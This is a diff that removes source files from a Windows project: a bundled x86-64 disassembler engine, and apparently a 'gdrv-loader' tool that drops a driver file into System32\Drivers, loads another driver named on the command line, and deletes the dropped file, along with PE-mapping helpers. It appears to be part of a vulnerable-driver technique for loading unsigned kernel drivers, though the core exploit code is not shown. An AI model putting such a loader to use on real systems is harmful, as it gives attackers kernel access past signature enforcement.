|
||||
}
|
||||
|
||||
switch (m_mod) {
|
||||
case 0:
|
||||
if (pref & PRE_67) {
|
||||
if (m_rm == 6)
|
||||
disp_size = 2;
|
||||
} else
|
||||
if (m_rm == 5)
|
||||
disp_size = 4;
|
||||
break;
|
||||
case 1:
|
||||
disp_size = 1;
|
||||
break;
|
||||
case 2:
|
||||
disp_size = 2;
|
||||
if (!(pref & PRE_67))
|
||||
disp_size <<= 1;
|
||||
}
|
||||
|
||||
if (m_mod != 3 && m_rm == 4) {
|
||||
hs->flags |= F_SIB;
|
||||
p++;
|
||||
hs->sib = c;
|
||||
hs->sib_scale = c >> 6;
|
||||
hs->sib_index = (c & 0x3f) >> 3;
|
||||
if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
|
||||
disp_size = 4;
|
||||
}
|
||||
|
||||
p--;
|
||||
switch (disp_size) {
|
||||
case 1:
|
||||
hs->flags |= F_DISP8;
|
||||
hs->disp.disp8 = *p;
|
||||
break;
|
||||
case 2:
|
||||
hs->flags |= F_DISP16;
|
||||
hs->disp.disp16 = *(uint16_t *)p;
|
||||
break;
|
||||
case 4:
|
||||
hs->flags |= F_DISP32;
|
||||
hs->disp.disp32 = *(uint32_t *)p;
|
||||
}
|
||||
p += disp_size;
|
||||
} else if (pref & PRE_LOCK)
|
||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
||||
|
||||
if (cflags & C_IMM_P66) {
|
||||
if (cflags & C_REL32) {
|
||||
if (pref & PRE_66) {
|
||||
hs->flags |= F_IMM16 | F_RELATIVE;
|
||||
hs->imm.imm16 = *(uint16_t *)p;
|
||||
p += 2;
|
||||
goto disasm_done;
|
||||
}
|
||||
goto rel32_ok;
|
||||
}
|
||||
if (op64) {
|
||||
hs->flags |= F_IMM64;
|
||||
hs->imm.imm64 = *(uint64_t *)p;
|
||||
p += 8;
|
||||
} else if (!(pref & PRE_66)) {
|
||||
hs->flags |= F_IMM32;
|
||||
hs->imm.imm32 = *(uint32_t *)p;
|
||||
p += 4;
|
||||
} else
|
||||
goto imm16_ok;
|
||||
}
|
||||
|
||||
|
||||
if (cflags & C_IMM16) {
|
||||
imm16_ok:
|
||||
hs->flags |= F_IMM16;
|
||||
hs->imm.imm16 = *(uint16_t *)p;
|
||||
p += 2;
|
||||
}
|
||||
if (cflags & C_IMM8) {
|
||||
hs->flags |= F_IMM8;
|
||||
hs->imm.imm8 = *p++;
|
||||
}
|
||||
|
||||
if (cflags & C_REL32) {
|
||||
rel32_ok:
|
||||
hs->flags |= F_IMM32 | F_RELATIVE;
|
||||
hs->imm.imm32 = *(uint32_t *)p;
|
||||
p += 4;
|
||||
} else if (cflags & C_REL8) {
|
||||
hs->flags |= F_IMM8 | F_RELATIVE;
|
||||
hs->imm.imm8 = *p++;
|
||||
}
|
||||
|
||||
disasm_done:
|
||||
|
||||
if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
|
||||
hs->flags |= F_ERROR | F_ERROR_LENGTH;
|
||||
hs->len = 15;
|
||||
}
|
||||
|
||||
return (unsigned int)hs->len;
|
||||
}
|
||||
#pragma warning(pop)
|
||||
-112
@@ -1,112 +0,0 @@
|
||||
/*
|
||||
* Hacker Disassembler Engine 64
|
||||
* Copyright (c) 2008-2009, Vyacheslav Patkov.
|
||||
* All rights reserved.
|
||||
*
|
||||
* hde64.h: C/C++ header file
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _HDE64_H_
|
||||
#define _HDE64_H_
|
||||
|
||||
/* stdint.h - C99 standard header
|
||||
* http://en.wikipedia.org/wiki/stdint.h
|
||||
*
|
||||
* if your compiler doesn't contain "stdint.h" header (for
|
||||
* example, Microsoft Visual C++), you can download file:
|
||||
* http://www.azillionmonkeys.com/qed/pstdint.h
|
||||
* and change next line to:
|
||||
* #include "pstdint.h"
|
||||
*/
|
||||
#include <stdint.h>
|
||||
|
||||
#define F_MODRM 0x00000001
|
||||
#define F_SIB 0x00000002
|
||||
#define F_IMM8 0x00000004
|
||||
#define F_IMM16 0x00000008
|
||||
#define F_IMM32 0x00000010
|
||||
#define F_IMM64 0x00000020
|
||||
#define F_DISP8 0x00000040
|
||||
#define F_DISP16 0x00000080
|
||||
#define F_DISP32 0x00000100
|
||||
#define F_RELATIVE 0x00000200
|
||||
#define F_ERROR 0x00001000
|
||||
#define F_ERROR_OPCODE 0x00002000
|
||||
#define F_ERROR_LENGTH 0x00004000
|
||||
#define F_ERROR_LOCK 0x00008000
|
||||
#define F_ERROR_OPERAND 0x00010000
|
||||
#define F_PREFIX_REPNZ 0x01000000
|
||||
#define F_PREFIX_REPX 0x02000000
|
||||
#define F_PREFIX_REP 0x03000000
|
||||
#define F_PREFIX_66 0x04000000
|
||||
#define F_PREFIX_67 0x08000000
|
||||
#define F_PREFIX_LOCK 0x10000000
|
||||
#define F_PREFIX_SEG 0x20000000
|
||||
#define F_PREFIX_REX 0x40000000
|
||||
#define F_PREFIX_ANY 0x7f000000
|
||||
|
||||
#define PREFIX_SEGMENT_CS 0x2e
|
||||
#define PREFIX_SEGMENT_SS 0x36
|
||||
#define PREFIX_SEGMENT_DS 0x3e
|
||||
#define PREFIX_SEGMENT_ES 0x26
|
||||
#define PREFIX_SEGMENT_FS 0x64
|
||||
#define PREFIX_SEGMENT_GS 0x65
|
||||
#define PREFIX_LOCK 0xf0
|
||||
#define PREFIX_REPNZ 0xf2
|
||||
#define PREFIX_REPX 0xf3
|
||||
#define PREFIX_OPERAND_SIZE 0x66
|
||||
#define PREFIX_ADDRESS_SIZE 0x67
|
||||
|
||||
#pragma pack(push,1)
|
||||
|
||||
typedef struct {
|
||||
uint8_t len;
|
||||
uint8_t p_rep;
|
||||
uint8_t p_lock;
|
||||
uint8_t p_seg;
|
||||
uint8_t p_66;
|
||||
uint8_t p_67;
|
||||
uint8_t rex;
|
||||
uint8_t rex_w;
|
||||
uint8_t rex_r;
|
||||
uint8_t rex_x;
|
||||
uint8_t rex_b;
|
||||
uint8_t opcode;
|
||||
uint8_t opcode2;
|
||||
uint8_t modrm;
|
||||
uint8_t modrm_mod;
|
||||
uint8_t modrm_reg;
|
||||
uint8_t modrm_rm;
|
||||
uint8_t sib;
|
||||
uint8_t sib_scale;
|
||||
uint8_t sib_index;
|
||||
uint8_t sib_base;
|
||||
union {
|
||||
uint8_t imm8;
|
||||
uint16_t imm16;
|
||||
uint32_t imm32;
|
||||
uint64_t imm64;
|
||||
} imm;
|
||||
union {
|
||||
uint8_t disp8;
|
||||
uint16_t disp16;
|
||||
uint32_t disp32;
|
||||
} disp;
|
||||
uint32_t flags;
|
||||
} hde64s;
|
||||
|
||||
#pragma pack(pop)
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* __cdecl */
|
||||
unsigned int hde64_disasm(const void *code, hde64s *hs);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* _HDE64_H_ */
|
||||
@@ -1,74 +0,0 @@
|
||||
/*
|
||||
* Hacker Disassembler Engine 64 C
|
||||
* Copyright (c) 2008-2009, Vyacheslav Patkov.
|
||||
* All rights reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#define C_NONE 0x00
|
||||
#define C_MODRM 0x01
|
||||
#define C_IMM8 0x02
|
||||
#define C_IMM16 0x04
|
||||
#define C_IMM_P66 0x10
|
||||
#define C_REL8 0x20
|
||||
#define C_REL32 0x40
|
||||
#define C_GROUP 0x80
|
||||
#define C_ERROR 0xff
|
||||
|
||||
#define PRE_ANY 0x00
|
||||
#define PRE_NONE 0x01
|
||||
#define PRE_F2 0x02
|
||||
#define PRE_F3 0x04
|
||||
#define PRE_66 0x08
|
||||
#define PRE_67 0x10
|
||||
#define PRE_LOCK 0x20
|
||||
#define PRE_SEG 0x40
|
||||
#define PRE_ALL 0xff
|
||||
|
||||
#define DELTA_OPCODES 0x4a
|
||||
#define DELTA_FPU_REG 0xfd
|
||||
#define DELTA_FPU_MODRM 0x104
|
||||
#define DELTA_PREFIXES 0x13c
|
||||
#define DELTA_OP_LOCK_OK 0x1ae
|
||||
#define DELTA_OP2_LOCK_OK 0x1c6
|
||||
#define DELTA_OP_ONLY_MEM 0x1d8
|
||||
#define DELTA_OP2_ONLY_MEM 0x1e7
|
||||
|
||||
unsigned char hde64_table[] = {
|
||||
0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5,
|
||||
0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1,
|
||||
0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea,
|
||||
0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0,
|
||||
0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab,
|
||||
0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92,
|
||||
0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90,
|
||||
0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b,
|
||||
0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,
|
||||
0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc,
|
||||
0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20,
|
||||
0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff,
|
||||
0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00,
|
||||
0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01,
|
||||
0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10,
|
||||
0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00,
|
||||
0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00,
|
||||
0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00,
|
||||
0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00,
|
||||
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,
|
||||
0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,
|
||||
0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40,
|
||||
0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43,
|
||||
0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
|
||||
0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40,
|
||||
0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06,
|
||||
0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07,
|
||||
0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
|
||||
0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10,
|
||||
0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00,
|
||||
0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb,
|
||||
0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff,
|
||||
0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09,
|
||||
0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff,
|
||||
0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08,
|
||||
0x00,0xf0,0x02,0x00
|
||||
};
|
||||
-217
@@ -1,217 +0,0 @@
|
||||
#include "global.h"
|
||||
#include <iostream>
|
||||
#include "driverloader.h"
|
||||
|
||||
const wchar_t* DroppedMapperPath = L"C:\\Windows\\System32\\Drivers\\gdrv.sys";
|
||||
|
||||
NTSTATUS NTAPI myDeleteFile(PWSTR FileName)
|
||||
{
|
||||
NTSTATUS status;
|
||||
wchar_t FullPath[1024];
|
||||
|
||||
UNICODE_STRING NtPath;
|
||||
OBJECT_ATTRIBUTES ObjectAttributes;
|
||||
|
||||
if (!SearchPath(NULL, FileName, NULL, 1024, FullPath, NULL))
|
||||
{
|
||||
return STATUS_OBJECT_NAME_NOT_FOUND;
|
||||
}
|
||||
|
||||
if (!RtlDosPathNameToNtPathName_U(FullPath, &NtPath, NULL, NULL))
|
||||
{
|
||||
return STATUS_OBJECT_NAME_NOT_FOUND;
|
||||
}
|
||||
|
||||
InitializeObjectAttributes(&ObjectAttributes, &NtPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||
|
||||
status = NtDeleteFile(&ObjectAttributes);
|
||||
|
||||
RtlFreeUnicodeString(&NtPath);
|
||||
return status;
|
||||
}
|
||||
|
||||
int wmain(int argc, wchar_t** argv)
|
||||
{
|
||||
NTSTATUS Status;
|
||||
if (argc == 2)
|
||||
{
|
||||
if (DropMapperFromBytes(DroppedMapperPath))
|
||||
{
|
||||
// Load driver
|
||||
Status = WindLoadDriver((PWCHAR)DroppedMapperPath, argv[1], FALSE);
|
||||
if (!NT_SUCCESS(Status))
|
||||
Printf(L"Driver load error: %08x\n", Status);
|
||||
|
||||
myDeleteFile((PWSTR)DroppedMapperPath);
|
||||
}
|
||||
}
|
||||
else if (argc == 3)
|
||||
{
|
||||
// Unload driver
|
||||
Status = WindUnloadDriver((PWCHAR)argv[1], 0);
|
||||
if (NT_SUCCESS(Status))
|
||||
Printf(L"Driver unloaded successfully.\n");
|
||||
else
|
||||
Printf(L"Error unloading driver: %08X\n", Status);
|
||||
}
|
||||
|
||||
return Status;
|
||||
}
|
||||
|
||||
DECLSPEC_NOINLINE
|
||||
static
|
||||
VOID
|
||||
ParseCommandLine(
|
||||
_In_ PWCHAR CommandLine,
|
||||
_Out_opt_ PWCHAR* Argv,
|
||||
_Out_opt_ PWCHAR Arguments,
|
||||
_Out_ PULONG Argc,
|
||||
_Out_ PULONG NumChars
|
||||
)
|
||||
{
|
||||
*NumChars = 0;
|
||||
*Argc = 1;
|
||||
|
||||
// Copy the executable name and and count bytes
|
||||
PWCHAR p = CommandLine;
|
||||
if (Argv != nullptr)
|
||||
*Argv++ = Arguments;
|
||||
|
||||
// Handle quoted executable names
|
||||
BOOLEAN InQuotes = FALSE;
|
||||
WCHAR c;
|
||||
do
|
||||
{
|
||||
if (*p == '"')
|
||||
{
|
||||
InQuotes = !InQuotes;
|
||||
c = *p++;
|
||||
continue;
|
||||
}
|
||||
|
||||
++*NumChars;
|
||||
if (Arguments != nullptr)
|
||||
*Arguments++ = *p;
|
||||
c = *p++;
|
||||
} while (c != '\0' && (InQuotes || (c != ' ' && c != '\t')));
|
||||
|
||||
if (c == '\0')
|
||||
--p;
|
||||
else if (Arguments != nullptr)
|
||||
*(Arguments - 1) = L'\0';
|
||||
|
||||
// Iterate over the arguments
|
||||
InQuotes = FALSE;
|
||||
for (; ; ++*NumChars)
|
||||
{
|
||||
if (*p != '\0')
|
||||
{
|
||||
while (*p == ' ' || *p == '\t')
|
||||
++p;
|
||||
}
|
||||
if (*p == '\0')
|
||||
break; // End of arguments
|
||||
|
||||
if (Argv != nullptr)
|
||||
*Argv++ = Arguments;
|
||||
++*Argc;
|
||||
|
||||
// Scan one argument
|
||||
for (; ; ++p)
|
||||
{
|
||||
BOOLEAN CopyChar = TRUE;
|
||||
ULONG NumSlashes = 0;
|
||||
|
||||
while (*p == '\\')
|
||||
{
|
||||
// Count the number of slashes
|
||||
++p;
|
||||
++NumSlashes;
|
||||
}
|
||||
|
||||
if (*p == '"')
|
||||
{
|
||||
// If 2N backslashes before: start/end a quote. Otherwise copy literally
|
||||
if ((NumSlashes & 1) == 0)
|
||||
{
|
||||
if (InQuotes && p[1] == '"')
|
||||
++p; // Double quote inside a quoted string
|
||||
else
|
||||
{
|
||||
// Skip first quote and copy second
|
||||
CopyChar = FALSE; // Don't copy quote
|
||||
InQuotes = !InQuotes;
|
||||
}
|
||||
}
|
||||
NumSlashes >>= 1;
|
||||
}
|
||||
|
||||
// Copy slashes
|
||||
while (NumSlashes--)
|
||||
{
|
||||
if (Arguments != nullptr)
|
||||
*Arguments++ = '\\';
|
||||
++*NumChars;
|
||||
}
|
||||
|
||||
// If we're at the end of the argument, go to the next
|
||||
if (*p == '\0' || (!InQuotes && (*p == ' ' || *p == '\t')))
|
||||
break;
|
||||
|
||||
// Copy character into argument
|
||||
if (CopyChar)
|
||||
{
|
||||
if (Arguments != nullptr)
|
||||
*Arguments++ = *p;
|
||||
++*NumChars;
|
||||
}
|
||||
}
|
||||
|
||||
if (Arguments != nullptr)
|
||||
*Arguments++ = L'\0';
|
||||
}
|
||||
}
|
||||
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
NtProcessStartupW(
|
||||
_In_ PPEB Peb
|
||||
)
|
||||
{
|
||||
// On Windows XP (heh...) rcx does not contain a PEB pointer, but garbage
|
||||
Peb = Peb != nullptr ? NtCurrentPeb() : NtCurrentTeb()->ProcessEnvironmentBlock; // And this turd is to get Resharper to shut up about assigning to Peb before reading from it. Note LHS == RHS
|
||||
|
||||
// Get the command line from the startup parameters. If there isn't one, use the executable name
|
||||
PRTL_USER_PROCESS_PARAMETERS Params = RtlNormalizeProcessParams(Peb->ProcessParameters);
|
||||
const PWCHAR CommandLineBuffer = Params->CommandLine.Buffer == nullptr || Params->CommandLine.Buffer[0] == L'\0'
|
||||
? Params->ImagePathName.Buffer
|
||||
: Params->CommandLine.Buffer;
|
||||
|
||||
// Count the number of arguments and characters excluding quotes
|
||||
ULONG Argc, NumChars;
|
||||
ParseCommandLine(CommandLineBuffer,
|
||||
nullptr,
|
||||
nullptr,
|
||||
&Argc,
|
||||
&NumChars);
|
||||
|
||||
// Allocate a buffer for the arguments and a pointer array
|
||||
const ULONG ArgumentArraySize = (Argc + 1) * sizeof(PVOID);
|
||||
PWCHAR *Argv = static_cast<PWCHAR*>(
|
||||
RtlAllocateHeap(RtlProcessHeap(),
|
||||
HEAP_ZERO_MEMORY,
|
||||
ArgumentArraySize + NumChars * sizeof(WCHAR)));
|
||||
if (Argv == nullptr)
|
||||
return NtTerminateProcess(NtCurrentProcess, STATUS_NO_MEMORY);
|
||||
|
||||
// Copy the command line arguments
|
||||
ParseCommandLine(CommandLineBuffer,
|
||||
Argv,
|
||||
reinterpret_cast<PWCHAR>(&Argv[Argc + 1]),
|
||||
&Argc,
|
||||
&NumChars);
|
||||
|
||||
// Call the main function and terminate with the exit status
|
||||
const NTSTATUS Status = wmain(Argc, Argv);
|
||||
return NtTerminateProcess(NtCurrentProcess, Status);
|
||||
}
|
||||
-9864
File diff suppressed because it is too large
Load Diff
-202
@@ -1,202 +0,0 @@
|
||||
#include "global.h"
|
||||
|
||||
#define IMAGE32(NtHeaders) ((NtHeaders)->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)
|
||||
#define IMAGE64(NtHeaders) ((NtHeaders)->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
|
||||
|
||||
#define HEADER_FIELD(NtHeaders, Field) (IMAGE64(NtHeaders) \
|
||||
? ((PIMAGE_NT_HEADERS64)(NtHeaders))->OptionalHeader.Field \
|
||||
: ((PIMAGE_NT_HEADERS32)(NtHeaders))->OptionalHeader.Field)
|
||||
|
||||
static
|
||||
NTSTATUS
|
||||
RtlOpenFile(
|
||||
_Out_ PHANDLE FileHandle,
|
||||
_In_ PCWCHAR Filename
|
||||
)
|
||||
{
|
||||
*FileHandle = nullptr;
|
||||
|
||||
UNICODE_STRING NtPath;
|
||||
RTL_RELATIVE_NAME_U RelativeName;
|
||||
NTSTATUS Status = RtlDosPathNameToRelativeNtPathName_U_WithStatus(const_cast<PWCHAR>(Filename),
|
||||
&NtPath,
|
||||
nullptr,
|
||||
&RelativeName);
|
||||
if (!NT_SUCCESS(Status))
|
||||
return Status;
|
||||
|
||||
const BOOLEAN PathIsRelative = RelativeName.RelativeName.Length > 0;
|
||||
OBJECT_ATTRIBUTES ObjectAttributes;
|
||||
IO_STATUS_BLOCK IoStatusBlock;
|
||||
InitializeObjectAttributes(&ObjectAttributes,
|
||||
PathIsRelative ? &RelativeName.RelativeName : &NtPath,
|
||||
OBJ_CASE_INSENSITIVE,
|
||||
PathIsRelative ? RelativeName.ContainingDirectory : nullptr,
|
||||
nullptr);
|
||||
|
||||
Status = NtCreateFile(FileHandle,
|
||||
FILE_GENERIC_READ | SYNCHRONIZE,
|
||||
&ObjectAttributes,
|
||||
&IoStatusBlock,
|
||||
nullptr,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
FILE_SHARE_READ,
|
||||
FILE_OPEN,
|
||||
FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
|
||||
nullptr,
|
||||
0);
|
||||
|
||||
RtlFreeHeap(RtlProcessHeap(), 0, NtPath.Buffer);
|
||||
RtlReleaseRelativeName(&RelativeName);
|
||||
|
||||
return Status;
|
||||
}
|
||||
|
||||
NTSTATUS
|
||||
MapFileSectionView(
|
||||
_In_ PCWCHAR Filename,
|
||||
_In_ BOOLEAN ForceDisableAslr,
|
||||
_Out_ PVOID *ImageBase,
|
||||
_Out_ PSIZE_T ViewSize
|
||||
)
|
||||
{
|
||||
*ImageBase = nullptr;
|
||||
*ViewSize = 0;
|
||||
|
||||
// Open the file
|
||||
HANDLE FileHandle = nullptr;
|
||||
NTSTATUS Status = RtlOpenFile(&FileHandle, Filename);
|
||||
if (!NT_SUCCESS(Status))
|
||||
{
|
||||
Printf(L"NtCreateFile: 0x%08X\n", Status);
|
||||
return Status;
|
||||
}
|
||||
ULONG_PTR PreferredImageBase = 0;
|
||||
HANDLE SectionHandle = nullptr;
|
||||
if (ForceDisableAslr)
|
||||
{
|
||||
UCHAR HeadersBuffer[0x400];
|
||||
IO_STATUS_BLOCK IoStatusBlock;
|
||||
Status = NtReadFile(FileHandle,
|
||||
nullptr,
|
||||
nullptr,
|
||||
nullptr,
|
||||
&IoStatusBlock,
|
||||
HeadersBuffer,
|
||||
sizeof(HeadersBuffer),
|
||||
nullptr,
|
||||
nullptr);
|
||||
|
||||
if (!NT_SUCCESS(Status))
|
||||
{
|
||||
Printf(L"NtReadFile: 0x%08X\n", Status);
|
||||
goto Exit;
|
||||
}
|
||||
|
||||
PIMAGE_NT_HEADERS NtHeaders;
|
||||
Status = RtlImageNtHeaderEx(0, HeadersBuffer, sizeof(HeadersBuffer), &NtHeaders);
|
||||
if (!NT_SUCCESS(Status))
|
||||
return Status;
|
||||
PreferredImageBase = HEADER_FIELD(NtHeaders, ImageBase);
|
||||
}
|
||||
|
||||
// Obtain a section handle
|
||||
Status = NtCreateSection(&SectionHandle,
|
||||
STANDARD_RIGHTS_REQUIRED | SECTION_MAP_READ,
|
||||
nullptr,
|
||||
nullptr,
|
||||
PAGE_READONLY,
|
||||
SEC_IMAGE,
|
||||
FileHandle);
|
||||
if (!NT_SUCCESS(Status))
|
||||
{
|
||||
Printf(L"NtCreateSection: 0x%08X\n", Status);
|
||||
goto Exit;
|
||||
}
|
||||
|
||||
// Map a read only section view
|
||||
*ImageBase = reinterpret_cast<PVOID>(PreferredImageBase);
|
||||
*ViewSize = 0;
|
||||
Status = NtMapViewOfSection(SectionHandle,
|
||||
NtCurrentProcess,
|
||||
ImageBase,
|
||||
0,
|
||||
0,
|
||||
nullptr,
|
||||
ViewSize,
|
||||
ViewUnmap,
|
||||
0,
|
||||
PAGE_READONLY);
|
||||
|
||||
if (Status == STATUS_IMAGE_NOT_AT_BASE) // Fix false positive or N/A status
|
||||
{
|
||||
if (ForceDisableAslr && *ImageBase == reinterpret_cast<PVOID>(PreferredImageBase))
|
||||
Status = STATUS_SUCCESS;
|
||||
else if (!ForceDisableAslr)
|
||||
Status = STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(Status))
|
||||
Printf(L"NtMapViewOfSection: 0x%08X\n", Status);
|
||||
|
||||
Exit:
|
||||
NtClose(FileHandle);
|
||||
if (SectionHandle != nullptr)
|
||||
NtClose(SectionHandle);
|
||||
|
||||
return Status;
|
||||
}
|
||||
|
||||
PVOID
|
||||
GetProcedureAddress(
|
||||
_In_ ULONG_PTR DllBase,
|
||||
_In_ PCSTR RoutineName
|
||||
)
|
||||
{
|
||||
// Find and verify PE headers
|
||||
const PIMAGE_DOS_HEADER DosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(DllBase);
|
||||
if (DosHeader->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return nullptr;
|
||||
const PIMAGE_NT_HEADERS NtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(DllBase + DosHeader->e_lfanew);
|
||||
if (NtHeaders->Signature != IMAGE_NT_SIGNATURE)
|
||||
return nullptr;
|
||||
|
||||
// Get the export directory RVA and size
|
||||
const PIMAGE_DATA_DIRECTORY ImageDirectories = HEADER_FIELD(NtHeaders, DataDirectory);
|
||||
const ULONG ExportDirRva = ImageDirectories[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
const ULONG ExportDirSize = ImageDirectories[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
|
||||
|
||||
// Read the export directory
|
||||
const PIMAGE_EXPORT_DIRECTORY ExportDirectory = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(DllBase + ExportDirRva);
|
||||
const PULONG AddressOfFunctions = reinterpret_cast<PULONG>(DllBase + ExportDirectory->AddressOfFunctions);
|
||||
const PUSHORT AddressOfNameOrdinals = reinterpret_cast<PUSHORT>(DllBase + ExportDirectory->AddressOfNameOrdinals);
|
||||
const PULONG AddressOfNames = reinterpret_cast<PULONG>(DllBase + ExportDirectory->AddressOfNames);
|
||||
|
||||
// Look up the import name in the name table using a binary search
|
||||
LONG Low = 0;
|
||||
LONG Middle = 0;
|
||||
LONG High = ExportDirectory->NumberOfNames - 1;
|
||||
|
||||
while (High >= Low)
|
||||
{
|
||||
// Compute the next probe index and compare the import name
|
||||
Middle = (Low + High) >> 1;
|
||||
const LONG Result = strcmp(RoutineName, reinterpret_cast<PCHAR>(DllBase + AddressOfNames[Middle]));
|
||||
if (Result < 0)
|
||||
High = Middle - 1;
|
||||
else if (Result > 0)
|
||||
Low = Middle + 1;
|
||||
else
|
||||
break;
|
||||
}
|
||||
|
||||
// If the high index is less than the low index, then a matching table entry
|
||||
// was not found. Otherwise, get the ordinal number from the ordinal table
|
||||
if (High < Low || Middle >= static_cast<LONG>(ExportDirectory->NumberOfFunctions))
|
||||
return nullptr;
|
||||
const ULONG FunctionRva = AddressOfFunctions[AddressOfNameOrdinals[Middle]];
|
||||
if (FunctionRva >= ExportDirRva && FunctionRva < ExportDirRva + ExportDirSize)
|
||||
return nullptr; // Ignore forwarded exports
|
||||
|
||||
return reinterpret_cast<PVOID>(DllBase + FunctionRva);
|
||||
}
|
||||
@@ -1,19 +0,0 @@
|
||||
// Microsoft Visual C++ generated resource script.
|
||||
//
|
||||
#include "winres.h"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// English (United States) resources
|
||||
|
||||
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_NEU)
|
||||
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Manifest
|
||||
//
|
||||
1 RT_MANIFEST "gdrv-loader.exe.manifest"
|
||||
|
||||
|
||||
#endif // English (United States) resources
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
-630
@@ -1,630 +0,0 @@
|
||||
#include "global.h"
|
||||
#include <shlwapi.h>
|
||||
#include <devioctl.h>
|
||||
|
||||
#define EQUALS(a, b) (RtlCompareMemory(a, b, sizeof(b) - 1) == (sizeof(b) - 1))
|
||||
#define NT_MACHINE L"\\Registry\\Machine\\"
|
||||
#define SVC_BASE NT_MACHINE L"System\\CurrentControlSet\\Services\\"
|
||||
